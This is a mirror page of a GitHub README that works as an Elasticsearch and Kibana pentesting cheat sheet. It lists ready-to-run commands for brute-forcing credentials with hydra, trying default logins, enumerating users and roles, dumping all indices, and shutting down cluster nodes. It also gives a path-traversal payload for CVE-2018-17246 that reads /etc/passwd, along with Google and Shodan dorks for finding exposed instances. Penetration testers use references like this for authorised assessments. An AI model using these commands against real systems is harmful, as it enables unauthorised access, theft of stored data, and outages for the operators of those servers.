Giter Site home page Giter Site logo

kh4sh3i / elasticsearch-pentesting Goto Github PK

View Code? Open in Web Editor NEW
21.0 2.0 3.0 53 KB

ElasticSearch exploit and Pentesting guide for penetration tester

License: Creative Commons Zero v1.0 Universal

cve-scanning dork elastic-search elasticsearch exploit index kibana kibana-cluster kibana-dashboard nucleo

elasticsearch-pentesting's Introduction



ElasticSearch Pentesting

ElasticSearch exploit and Pentesting guide for penetration tester

What is an Elasticsearch index?

An Elasticsearch index is a collection of documents that are related to each other. Elasticsearch stores data as JSON documents

Brute Force Credentials

 hydra -L usernames.txt -P passwords.txt <target-ip> -s 9200 http-get /

Default credentials

curl -X GET http://admin:elasticadmin@target:9200/
curl -X GET http://elastic:changeme@target:9200/

Basic User Enumeration

## List all roles on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role"

#List all users on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"

#Get more information about the rights of an user:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"

Elastic Info

curl -X GET http://target:9200/_cat/
curl -X GET http://target:9200/_cluster/
curl -X GET http://target:9200/_nodes/
curl -X GET http://target:9200/_remote/
curl -X GET http://target:9200/_security/

List All indexes

http://target:9200/_cat/indices?v&s=docs.count

Dump index

http://target:9200/<index>/_search?pretty=true&size=100
http://target:9200/bank/_search?pretty=true

Dump all

http://target:9200/_search?pretty=true

search

http://target:9200/_search?pretty=true&q=<search_term>
http://target:9200/<index>/_search?pretty=true&q=<search_term>

Shutting Down Nodes

curl -X POST http://target:9200/_shutdown
curl -X POST http://target:9200/_cluster/nodes/_master/_shutdown

Elastic Search Kibana Console LFI (CVE-2018-17246)

http://target:9200/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

Google Dorks to find Kibana Instances

inurl:app/kibana
inurl:app/kibana intext:Loading Kibana
inurl::5601/app/kibana

Shodan Dorks to finding Kibana Instances

port:9200 elasticsearch
Dork: title:"kibana" port:"443"
Dork: kibana content-length: 217

elasticsearch-pentesting's People

Contributors

kh4sh3i avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.